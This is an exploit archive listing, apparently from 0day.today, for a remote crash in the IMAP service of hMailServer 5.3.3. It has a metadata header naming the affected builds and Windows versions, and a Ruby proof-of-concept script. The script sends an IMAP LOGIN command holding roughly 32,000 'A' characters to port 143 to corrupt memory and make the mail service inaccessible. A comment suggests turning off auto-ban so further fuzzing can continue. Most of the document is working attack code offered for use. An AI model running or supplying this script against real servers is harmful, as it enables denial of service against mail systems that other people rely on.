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hMailServer 5.3.3 IMAP Remote Crash PoC
[# Exploit Title: hMailServer 5.3.3 IMAP Remote Crash PoC
# Vendor Homepage: http://hmailserver.com
# Software Link: http://www.hmailserver.com/index.php?page=background_download_file&downloadid=207
# Version: hMailServer 5.3.3 - Build 1879
# Tested on:
# - hMailServer 5.3.3 with default settings
# - Reliably corruption makes IMAP service inaccessible on WIN XP SP2 and WIN 2K3R2 SP2
# - Unreliable corruption makes all services (SMTP, IMAP, and POP) inaccessible on WIN 2K8R2 SP1
#
# Note: Disable "Auto-ban" in the hMailServer Admin console if performing additional fuzzing.
#!/usr/bin/ruby
require 'socket'
s = TCPSocket.open(ARGV[0], 143)
cmd = "a LOGIN "
address = "A" * 32765
password = " AAAAAAAA\r\n"
logout = "a LOGOUT\r\n"
pkt = cmd
pkt << address
pkt << password
pkt << logout
s.write(pkt)
while resp = s.gets
p resp
end
s.close
# 0day.today [2024-11-04] #